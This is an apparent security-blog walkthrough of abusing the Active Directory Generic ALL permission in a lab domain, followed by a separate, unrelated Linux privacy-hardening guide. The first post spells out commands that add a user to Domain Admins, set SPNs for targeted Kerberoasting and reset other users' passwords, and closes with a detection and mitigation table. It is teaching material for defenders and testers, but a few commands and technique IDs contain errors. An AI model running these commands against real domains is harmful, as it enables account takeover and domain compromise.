Abusing AD-DACL : Generic ALL Permissions

 

In this post, we explore the exploitation of Discretionary Access Control Lists (DACL) using the Generic ALL permission in Active Directory environments. This permission provides unrestricted access to user attributes, enabling various attack vectors, such as Kerberoasting, password resets, and account manipulation.

We will detail the lab setup needed to simulate these attacks and map these methods to the MITRE ATT&CK framework to understand the techniques and tactics involved. Additionally, we will discuss detection mechanisms to identify suspicious activities linked to Generic ALL attacks and provide actionable recommendations to mitigate these vulnerabilities. This overview aims to equip security professionals with the knowledge to recognize and defend against these prevalent threats.

Table of Contents

Abusing AD-DACL- Generic ALL Permissions

Key Concepts of DACL

Generic ALL Right

Prerequisites

Lab Setup – User Owns Generic ALL Right For Domain Admin Group

Exploitation Phase I - User Own Generic All Right for Group

Bloodhound -Hunting for Weak Permission

Method for Exploitation - Account Manipulation (T1098)

·       Linux Net RPC – Samba

·       Linux Bloody AD

·       Windows Net command

Exploitation Phase II - User own generic Right for another user

Bloodhound -Hunting for Weak Permission

Multiple Method for Exploitation

·       Kerberoasting

o   Linux Python Script - TargetedKerberoast

o   Windows PowerShell Script-Powerview

·       Change Password

o   Linux Net RPC – Samba

o   Linux Net RPC – BloodAD

o   Linux Net RPC –Rpcclient

o   Windows Net Utility

o   Windows PowerShell -Powerview

o   Windows PowerShell

Detection & Mitigation

 

Active Directory DACL

In Active Directory (AD), a DACL (Discretionary Access Control List) is a component of an object's security descriptor that specifies which users or groups are allowed (or denied) access to the object and what actions they are permitted to perform. It essentially controls who can do what to an object, such as a user account, computer, group, or any other directory object.

Key Concepts of DACL:

1. Access Control Entries (ACEs):
   A DACL is made up of multiple ACEs. Each ACE defines the specific access rights for a user or group and specifies what kind of access (read, write, execute, etc.) is allowed or denied.
2. Permissions:
   Permissions define the specific actions a user or group can perform on an object. These permissions can be basic, like reading or writing to the object, or more complex, like modifying permissions or taking ownership.
3. Rights:
   Rights are a higher-level abstraction of permissions. In Active Directory, common DACL rights include:
• GenericAll: Grants full control over an object (e.g., modify properties, reset passwords, etc.).
• GenericWrite: Allows modification of some object properties.
• WriteDACL: Lets the user modify the DACL itself, potentially escalating privileges.
• WriteOwner: Grants the ability to take ownership of the object, allowing further privilege modification.
• ReadProperty: Allows reading of object properties (e.g., attributes in a user object).
• AllExtendedRights: Grants special rights for advanced operations, like resetting passwords or enabling delegation.
• Delete: Grants the ability to delete the object.
• ReadDACL: Allows reading the object's access permissions without being able to change them.
• ForceChangePassword: Allows forcing a user to change their password without knowing the current one.
4. Inheritance:
   DACLs can be inherited from parent objects, meaning permissions on a container (like an Organizational Unit) can be passed down to child objects. This simplifies management but can also lead to unintended permissions if not carefully configured.
5. Security Descriptor:
   The DACL is part of a larger security descriptor that also includes the Owner (the entity that has ownership of the object and can change its permissions) and an optional SACL (System Access Control List) that controls auditing.

 

Weak DACLs can lead to unauthorized access or privilege escalation if not properly configured.

 

Generic ALL Right

In Active Directory, permissions and privileges define what actions an entity (user, group, or computer) can perform on another object. The "Generic ALL" privilege is one of the most powerful in AD because it grants complete control over the target object. This means that the user or group with this privilege can:

• Modify any attribute of the object
• Reset passwords
• Add or remove members from groups
• Delegate further control to other users
• Delete the object altogether

Because of its extensive reach, an attacker who gains "Generic ALL" privileges on sensitive objects (like privileged groups or service accounts) can essentially gain domain dominance.

Exploiting "Generic ALL" Privilege

Here's how an attacker can leverage the "Generic ALL" privilege to compromise Active Directory:

1. Identifying Targets with "Generic ALL" Privilege
   The first step is to identify objects where the attacker has this privilege. This can be done using tools like BloodHound or PowerView, which map out Active Directory and show privilege relationships. Once identified, the attacker can choose their target based on the potential impact (e.g., a Domain Admin account).
2. Resetting Passwords
   If the "Generic ALL" privilege is applied to a user account, the attacker can reset the account's password. This is particularly devastating if the account is for a privileged user, such as a Domain Administrator. After resetting the password, the attacker can log in as that user and gain full control over the domain.
3. Modifying Group Membership
   If the "Generic ALL" privilege is applied to a group, the attacker can add themselves to a high-privilege group, like Domain Admins or Enterprise Admins. This grants them the privileges of those groups, effectively giving them control over the entire domain.
4. Abusing Delegated Control
   With the "Generic ALL" privilege, the attacker can delegate control of the target object to another user or group. This allows them to grant privileges to themselves or other malicious users without raising suspicion immediately.
5. Deleting or Modifying Objects
   In extreme cases, an attacker with "Generic ALL" can delete critical objects, such as service accounts or privileged users, causing operational disruptions or creating avenues for further exploitation.

Prerequisites

·       Windows Server 2019 as Active Directory

·       Kali Linux

·       Tools: Bloodhound, Net RPC, Powerview, Rubeus,

·       Windows 10/11 – As Client

Lab Setup – User Owns Generic ALL Right For Domain Admin Group

1. Create the AD Environment:

To simulate an Active Directory environment, you’ll need a Windows Server as a Domain Controller (DC) and a client machine (Windows or Linux) where you can run enumeration and exploitation tools.

• Domain Controller:
• Install Windows Server (2016 or 2019 recommended).
• Promote it to a Domain Controller by adding the Active Directory Domain Services role.
• Set up the domain (e.g., ignite.local).
• User Accounts:
• Create a standard user account named Komal.

Command: net user komal Password@1 /add /domain

2. Assign the "Generic ALL" Privilege to Komal:

Once your AD environment is set up, you need to assign the "Generic ALL" right to Komal for the Domain Admins group.

• Steps:
1. Open Active Directory Users and Computers (ADUC) on the Domain Controller.
2. Enable the Advanced Features view by clicking on View > Advanced Features.
3. Locate the Domain Admins group in the Users container.
4. Right-click Domain Admins and go to Properties.

 

5. Go to the Security tab and click Advanced.

 

6. Click Add, then select the Komal user.

 

7. In the Permissions Entry window, select This object and all descendant objects.
8. In the Permissions section, check the box for Full Control or specifically check "Generic ALL" if available.
9. Apply the settings.

At this point, Komal now has Generic ALL rights over the Domain Admins group, meaning they can modify attributes, reset passwords, or even add themselves to the group.

 

 

Exploitation Phase I - User Own Generic All Right for Group

Compromised User: Komal

Target Account: Domain Admin Group

Now that the lab is set up, let’s walk through how an attacker (acting as Komal) can abuse the Generic ALL privilege.

Assuming the Red Teamer knows the credential for Komal Users as a Standard Domain Users and would like to enumerate the other Domain users & Admin members with the help of “net-rpc” Samba command line Utility.

Command: net prc user -U ignite.local/komal%'Password@1' -S 192.168.1.8

Command: net rpc group members "Domain Admins" -U ignite.local/komal%'Password@1' -S 192.168.1.8

After executing above command its has been concluded that the Administrator users is only the single member of the Admin group. Unfortunately, the tester is doesn’t know the credentials of administrator.

Bloodhound -Hunting for Weak Permission

Use BloodHound to Confirm Privileges: You can use BloodHound to verify that Komal has the Generic ALL right on the Domain Admins group.

Command: bloodhound-python -u komal -p Password@1 -ns 192.168.1.8 -d ignite.local -c All

From the graphical representation of Bloodhound, the tester would like to identify the outbound object control for selected user where the first degree of object control value is equal to 1.

 

Thus it has shown the Komal User has Generic ALL privilege to Domain Admin group and provided steps for exploitation to be proceed.

Method for Exploitation - Account Manipulation (T1098)

1.     Linux Net RPC – Samba

The tester can abuse this permission by Komal User into Domain Admin group and list the domain admin members to ensure that Komal Users becomes Domain Admin.

Command: net rpc group addmem "Domain Admins" "komal" -U ignite.local/komal%'Password@1' -S 192.168.1.8

 

2.     Linux Bloody AD

Command: bloodyAD --host "192.168.1.8" -d "ignite.local" -u "komal" -p "Password@1" add groupMember "Domain Admins" "komal"

thus from user property we can see komal user has become the member of domain admin.

 

3.     Windows Net command

Command: net group “domain admins” komal /add /domain

 

Exploitation Phase II - User own generic Right for another user

 

To set up a lab environment where the user Nishant has Generic ALL rights over the user Vipin, you'll need to follow several steps. This process involves configuring Active Directory (AD) permissions so that Nishant can manipulate attributes of the Vipin account.

Step 1: Create Two AD user accounts

Command: net user vipin Password@1 /add /domain

Command: net user vipin Password@1 /add /domain

 

Step 2: Assign Generic ALL Permissions

1. Open Active Directory Users and Computers.
2. Navigate to the Vipin user account.
3. Right-click on Vipin, select Properties.

 

 

4. Go to the Security tab.
5. Click Advanced and then Add.

 

6. In the "Enter the object name to select" box, type Nishant and click Check Names.
7. After adding Nishant, set the permissions:
• Check Generic All in the permissions list (you may need to select Full Control to encompass all rights).

 

8. Ensure Applies to is set to This object only.

 

 

Bloodhound -Hunting for Weak Permission

Hunting for First Degree objection Control for Nishant Users as did in previous steps

Command: bloodhound-python -u nishant -p Password@1 -ns 192.168.1.8 -d ignite.local -c All

From the graph it can be observed that the nishant user owns generic all privilege on vipin user

Moreover, Bloodhound also helps the pentest to define the possible attack from the user account nishant, this user can perform domain attack such as keroasting and shadow credentials

 

Multiple Method for Exploitation

1.     T1558.003 – Kerberoasting

1.1              Linux Python Script - TargetedKerberoast

 

Compromised User: Nishant:Password@123

Target User: Vipin

Kerberoasting is an attack technique that targets service accounts in Active Directory environments, where an attacker with Generic ALL permissions on a user can exploit the ability to request service tickets (TGS). By requesting TGS for service accounts, the attacker can obtain encrypted tickets that include the service account’s password hash. Since these tickets can be extracted and then offline cracked, the attacker can potentially gain access to the service account’s credentials. The attack leverages the fact that service accounts typically have elevated privileges, allowing the attacker to escalate their own access within the network once the password is cracked. This exploitation is particularly effective in environments where weak or easily guessable passwords are used for service accounts.

Download: git clone https://github.com/ShutdownRepo/targetedKerberoast.git

Command: ./targetedKerberoast.py --dc-ip '192.168.1.8' -v -d 'ignite.local' -u 'nishant' -p 'Password@1'

As we have seen during the lab setup that vipin user was add domain user account which does not have any associated spn. The Python is script has modify the attribute of vipin user to set the SPN name and then dump Krbtgs hash that can be brute force offline. Moreover the script perform clear track step by removing the spn well live from user attribute.

This type of attack ideally best when the attacker is not willing to change the password for target user <Vipin in our case> even generic all privilege is enabled for compromised user. Yes this step is less noisy then the changing the password of any user.

 

Further, with the help of John the Ripper end the dictionary such as Rock You can help the attacker to brute force the weak password.

 

 

1.2            Windows PowerShell Script-Powerview

To perform Kerberoasting using PowerView on a Windows machine, you can leverage PowerView’s ability to enumerate Active Directory service accounts that have Service Principal Names (SPNs). These SPNs can be requested to obtain service tickets (TGS), which can then be cracked offline to reveal the service account’s credentials. Here’s a brief overview of the steps:

Make sur that the target account has no SPN and then Set the SPN to obtain the KerbTGS hash

Command: Get-DomainUser 'vipin' | Select serviceprincipalname

Command: Set-DomainObject -Identity 'vipin' -Set @{serviceprincipalname='nonexistent/hackingarticles'}

Command:$User = Get-DomainUser 'vipin'

Command:$User | Get-DomainSPNTicket | f1

 

 

Cracking TGS hash using Rockyou.txt with the help of Hashcat Tool.

 

2.     T1110.001 – Change Password

2.1              Linux Net RPC – Samba

 

Command: net rpc password vipin 'Password@987' -U ignite.local/nishant%'Password@1' -S 192.168.1.8

2.2              Linux Net RPC – BloodAD

 

Command: bloodyAD --host "192.168.1.8" -d "ignite.local" -u "nishant" -p "Password@1" set password "vipin" "Password@9876"

2.3              Linux Net RPC –Rpcclient

Command: rpcclient -U ignite.local/nishant 192.168.1.8

Command: setuserinfo vipin 23 Ignite@987

2.4              Windows Net Utility

Command: net user Vipin Password@1234 /domain

 

2.5              Windows PowerShell -Powerview

Command: $SecPassword = ConvertTo-SecureString 'Password@987' -AsPlainText -Force

Command: $Cred = New-Object System.Management.Automation.PSCredential('ignite.local\vipin', $SecPassword)

 

 

2.6              Windows PowerShell

Command: $NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force

Command: Set-DomainUserPassword -Identity 'vipin' -AccountPassword $NewPassword

 

 

 

 

Detection & Mitigation

 

Attack	MITRE ATT&CK Technique	Description	Detection	Mitigation
Reset Password	T1110.001 – Password Cracking	Attackers with Generic ALL permissions can reset the target user’s password to gain full access to their account.	- Monitor for unusual password resets by non-admin users.   - Detect anomalies in password change activities.   - Check audit logs for unusual access or password reset events.	- Enforce least privilege access control. - Limit the use of powerful permissions like Generic ALL.   - Require multi-factor authentication (MFA) for password resets.
Account Manipulation	T1098 – Account Manipulation	Attackers with Generic ALL can modify account attributes (add groups, change privileges) or even disable auditing.	- Monitor for account changes, including group memberships and privileges.   - Log changes to critical accounts (e.g., admin, domain admin accounts).	- Use privileged access workstations (PAWs) for administrative tasks.   - Restrict sensitive permissions like Generic ALL.   - Implement Role-Based Access Control (RBAC).
Kerberoasting	T1558.003 – Kerberoasting	Attackers with access can request service tickets for service accounts with SPNs, allowing offline cracking of the ticket for credential extraction.	- Monitor for excessive Kerberos ticket-granting service (TGS) requests.   - Detect abnormal account ticket requests, especially for accounts with SPNs.   - Enable Kerberos logging.	- Use strong, complex passwords for service accounts. - Rotate service account passwords regularly.   - Disable unnecessary SPNs.   - Monitor TGS requests for anomalies.
Setting SPNs	T1207 – Service Principal Discovery	Attackers can add an SPN to an account, allowing them to later perform attacks like Kerberoasting to retrieve service account TGS tickets.	- Monitor changes to SPN attributes using LDAP queries or PowerShell.   - Detect modifications to AD attributes related to SPNs.   - Monitor account changes using event logs.	- Limit the ability to modify SPNs to authorized users only.   - Enforce MFA for service accounts.   - Ensure strong passwords for accounts with SPNs.   - Periodically audit SPNs.
Shadow Credentials	T1208 – Credential Injection (Abusing msDS-KeyCredentialLink)	Attackers use the msDS-KeyCredentialLink attribute to add alternate credentials (keys or certificates) for an account, allowing persistence and authentication without knowing the user’s password.	- Monitor changes to the msDS-KeyCredentialLink attribute.   - Audit AD logs for unusual certificate and key additions.   - Use LDAP queries to detect attribute modifications.	- Limit access to modify msDS-KeyCredentialLink to authorized accounts.   - Regularly audit msDS-KeyCredentialLink attributes.   - Use strong key/certificate management practices
Pass-the-Ticket (PTT)	T1550.003 – Pass the Ticket	Attackers use captured Kerberos tickets (TGT/TGS) to authenticate to services without knowing the password.	- Monitor for unusual Kerberos ticket-granting ticket (TGT) or service ticket (TGS) usage.   - Detect ticket reuse across different systems   - Enable and monitor Kerberos logging.	- Use Kerberos Armoring (FAST) to encrypt Kerberos tickets.   - Enforce ticket expiration and short lifetimes for TGT/TGS.   - Enforce ticket expiration and short lifetimes for TGT/TGS. - Implement MFA for critical resources.
Pass-the-Hash (PTH)	T1550.002 – Pass the Hash	Attackers use captured NTLM hash to authenticate without knowing the actual password, often used for lateral movement or privilege escalation.	- Monitor NTLM authentication attempts and detect anomalies (especially from low-privilege to high-privilege accounts).   - Analyze logins that skip standard authentication steps.	- Disable NTLM where possible.     - Enforce SMB signing and NTLMv2.   - Use Local Administrator Password Solution (LAPS) to manage local administrator credentials.   - Implement MFA.
Adding Users to Domain Admins	T1098.002 – Account Manipulation: Domain Account	Attackers with Generic ALL can add themselves or another account to the Domain Admins group, granting full control over the domain.	- Monitor changes to group memberships, especially sensitive groups like Domain Admins.   - Enable event logging for group changes in Active Directory.	- Limit access to modify group memberships.   - Enable just-in-time (JIT) administration for critical roles   - Use MFA for high-privilege accounts and role modifications.

 

OSINT : User Privacy in Linux

 Linux telemetry involves gathering and sending data from a Linux-based system to an external server or service. The purpose of this process is often to monitor system performance, provide diagnostics, enable analytics, or improve system functionality. The collected data may encompass system performance indicators, usage patterns, hardware specifications, error logs, and other relevant information. In this article, we are going to discuss why telemetry can be seen as a potential threat to privacy, even when used for legitimate purposes. Also, we will discuss the methods to make the system more secure than before.

Table of Contents

·      Secure OS Installation

·      Removing the packages

·      Settings in ubuntu

·      Disable diagnostics reporting

·      Disable lock screen notifications

·      Disable tracking of recent files

·      Turning off the problem reporting

·      Turning off the screen blank

·      Disable automatic screen locking

·      Permanently delete option

·      Show hidden files

·      BleachBit

·      KeePassXC

·      Virus Scanner

·      Metadata removal

·      Firefox profilemaker

·      Flatpak

·      LibreWolf VeraCrypt

·      Tor Browser

·      Proton VPN

·      NextDNS

·      Conclusion

 

 

Secure OS Installation

Ideally we should consider the POP!_OS by System76 for installation, it is based on Ubuntu but redesigned for privacy and security. However, here we are considering the Ubuntu 22.04.4 version. We are considering this version of Ubuntu because the versions which begin with an odd number or end with the 0.10 are interim releases with a short support cycle and we will be needing a version which has the Long Term Support (LTS). Hence only versions which begin with an even number and end with 0.04 should be considered. We will discuss the steps to make it secure from the installation itself.

Step 1: Download the ubuntu-22.04.4-desktop-amd64.iso image from the following URL: https://old-releases.ubuntu.com/releases/22.04/

Step 2: Create a new virtual machine in VMware workstation PRO.

Step 3: Select the path of the installer disc.

 

 

Step 4: Enter the Full name, User name, Password and Confirm.

Step 5: Select the Normal installation and select both options in the Other      options.

Step 6: Select Erase disk and install Ubuntu, click on Advanced features.

 

Step 7: Inside Advanced features, use the following options: Use LVM with the new Ubuntu installation and Encrypt the new Ubuntu installation for Security.

Step 8: Enter the Security key and click on Install now.

Step 9: Select Continue for the Write the changes to disks? Option.

Step 10: Enter the details in the Who are you? Installation option.

Once the installation is complete, you will see an ubuntu login screen like the one shown below.

Removing the packages

After login into the ubuntu machine, we can remove all those packages, which some how transfer the user/system information to an outside source either for improvement, feedback, or diagnostic purpose.

Starting with the whoopsie package, it is a crash reporting daemon designed to capture application crashes and send anonymized reports to the Ubuntu servers.

The command to remove its entire content is:

sudo apt purge apport apport-symptoms popularity-contest ubuntu-report whoopsie

We will also remove the motd-news package, it is responsible for delivering dynamic news messages as part of the Message of the Day (MOTD) system.

The command to remove its entire content is:

sudo rm /etc/update-motd.d/50-motd-news

Settings in ubuntu

After removing the packages, we can now proceed with the essential settings in ubuntu, which can help us to be more secure. Here we are going to show it using the terminal and how the same can be done on the GUI.

Disable diagnostics reporting

Apport is a crash reporting tool found in Ubuntu and other Linux-based operating systems. Its primary function is to identify when programs crash, gather detailed information about the error, and create reports that assist in diagnosing and troubleshooting the problem.

Setting the app crash report to false does not gives the apport crash pop-up notifications.

gsettings set com.ubuntu.update-notifier show-apport-crashes false

Disable lock screen notifications

Lock screen notifications can disclose various things which might be private to the user. So, we need to disable the lock screen notifications.

gsettings set org.gnome.desktop.notifications show-in-lock-screen false

Disable tracking of recent files

To disable the tracking of recently opened files in the ubuntu machine, we can set the remember-recent-files to false.

gsettings set org.gnome.desktop.privacy remember-recent-files false

Turning off the problem reporting

Open the Privacy setting in the GUI and inside Diagnostics set the Send error reports to Canonical to Never. By doing this no error reports will be shared to the Canonical and a privacy can be maintained.

Turning off the screen blank

To disable the automatic screen blanking or locking due to inactivity, we can set the Screen Blank option to Never and Automatic Suspend to Off inside the Power options. Due to this option, the display will remain indefinitely on as the inactivity action would never be triggered.

gsettings set org.gnome.desktop.session idle-delay 0

Disable automatic screen locking

To disable the automatic lock when the system remains idle, click the Privacy option, then click Screen and disable all options.

gsettings set org.gnome.desktop.screensaver lock-enabled false

settings set org.gnome.desktop.screensaver ubuntu-lock-on-suspend false

Permanently delete option

If we want to permanently delete an object without moving it to the trash, we can run the following command to get a permanently delete option for every file.

gsettings set org.gnome.nautilus.preferences show-delete-permanently true

After running the above command, we can now see that we have Delete permanently option available for all the files.

Show hidden files

To permanently enable the view hidden files option, we can run the following command:

gsettings set org.gnome.nautilus.preferences show-hidden-files true

BleachBit

BleachBit is an open-source application that functions as a system cleaner and privacy tool. It aims to optimize disk space and safeguard user privacy by eliminating unwanted files and data from your computer.

Installation of BleachBit can be performed using the following command:

sudo apt install BeachBit

KeePassXC

KeePassXC is an open-source tool, which is used for password management. It helps users to securely store and manage their passwords and sensitive information.

Installation of KeePassXC can be performed using the following command:

sudo apt install keepassxc

Virus Scanner

Here we will be installing the ClamAV, it is an open-source antivirus which is used for scanning the malware and malicious files. The GUI of the ClamAV is call as the ClamTK and to fetch the latest malware detection updates, we need to enable the freshclam.

apt install clamav clamav-daemon

apt install clamtk

sudo systemctl stop clamav-freshclam

sudo systemctl enable clamav-freshclam --now

Metadata removal

There are cases while transferring the files sometimes metadata containing private information is also transferred along with the file. To remove the metadata from the file we are going to use the MAT2 tool (Metadata Anonymisation Toolkit 2).

To install the MAT2 tool, we can use the following commands:

sudo apt install mat2 -y

Firefox profilemaker

To download a customized browser setup as per the requirement, we can use the firefox profilemaker. It provides us a variety of configurations, which we can set and then download the profile file or preference file which can be imported into the browser. This helps in ensuring the full customization as per the user’s need.

The profile setup can be performed using the following URL:

https://ffprofile.com/

Flatpak

Flatpak is a tool which is used to install and run the applications within a sandboxed environment. Applications installed via Flatpak are sandboxed, meaning they run in an isolated environment. This prevents apps from interfering with the system or accessing unauthorized resources, increasing security.

Following are the commands to install the flatpak:

sudo apt install flatpak

sudo apt install gnome-software-plugin-flatpak

flatpack remote-add --if-not-exists flathub https://dl.flathub.org/report/flathub.flatpakrepo

LibreWolf

LibreWolf is a web browser focused on privacy, it comes with improved security settings by default. It eliminates telemetry, data collection, and tracking features found in standard Firefox, offering a more private browsing experience.

To run the lLibreWolf using the flatpack we can use the following command:

flatpack run io.gitlab.librewolf-community

VeraCrypt

To create a virtual encrypted disk or encrypt the entire partition or storage devices, we can use VeraCrypt. To perform its installation, we need to add the unit193/encryption repository in the PPA (Personal Package Archive) and then update the system and install VeraCrypt.

sudo add-apt-repository ppa:unit193/encryption -y

sudo apt update

sudo apt  install veracrypt

After installation we can launch the VeraCrypt.

Tor Browser

To maintain complete anonymity, Tor browser is an amazing browser to search for things. It directs the traffic through the Tor network making it difficult to track.

It can be downloaded from the following webite:

https://www.torproject.org/download/

After downloading, the file can be extracted, and the browser can be started. By using --register-app flag, the Tor browser can be launched from the applications menu.

./start-tor-browser.desktop --register-app

 

After successful installation, the browser can be launched from the applications menu.

Proton VPN

Proton VPN is a widely used VPN which gives 3 locations as a free service. It helps to remain anonymous and perform the tasks. It can be downloaded from the following link: https://protonvpn.com/support/official-linux-vpn-debian/ 

Following are the steps to install the Proton VPN:

sudo wget https://repo.protonvpn.com/debian/dists/stable/main/binary-all/protonvpn-stable-release_1.0.4_all.deb

sudo dpkg -i ./protonvpn-stable-release_1.0.4_all.deb && sudo apt update

echo "62a9d849835de8a5664cf95329458bf1966780b15cec420bf707b5f7278b9027  protonvpn-stable-release_1.0.4_all.deb" | sha256sum --check -

sudo apt update && sudo apt upgrade

sudo apt install proton-vpn-gnome-desktop

After the installation is complete, we can launch the Proton VPN.

After connecting with the Netherlands location, we can check the public IP.

NextDNS

NextDNS is a cloud-based DNS solution which helps to perform content filtering and many more things. It serves as an alternative to the DNS provided by the ISP. There are times when we want to block access to certain websites in our system and want to check what were the websites visited by the user.

The profile can be setup using the DNS address given at the following link:

https://my.nextdns.io/2f7664/setup

After copying the systemd-resolved addresses, we can add this in the /etc/systemd/resolved.conf file.

sudo nano /etc/systemd/resolved.conf

cat /etc/systemd/resolved.conf

After the addresses are added in the configuration file. Inside the browser, navigate to the Settings and select the option to choose the DNS over HTTPS and it should be set to Max Protection. Inside Max Protection select the custom DNS and enter the NextDNS URL shown in the DNS over HTTPS.

After the configuration is complete, the NextDNS setup will show a All good! status.

We can also restrict websites from visiting by adding them in the Parental Control list.

The user is no longer able to visit the website.

There is also a feature to check the logs, which can help in tracking the websites visited before in the Logs option.

Conclusion

As we become aware of the effects of telemetry, we can make choices that lead to a safer and more private computing environment. By using the above methods and tools, we can safeguard user 's privacy and can significantly reduce our exposure to unwanted data collection.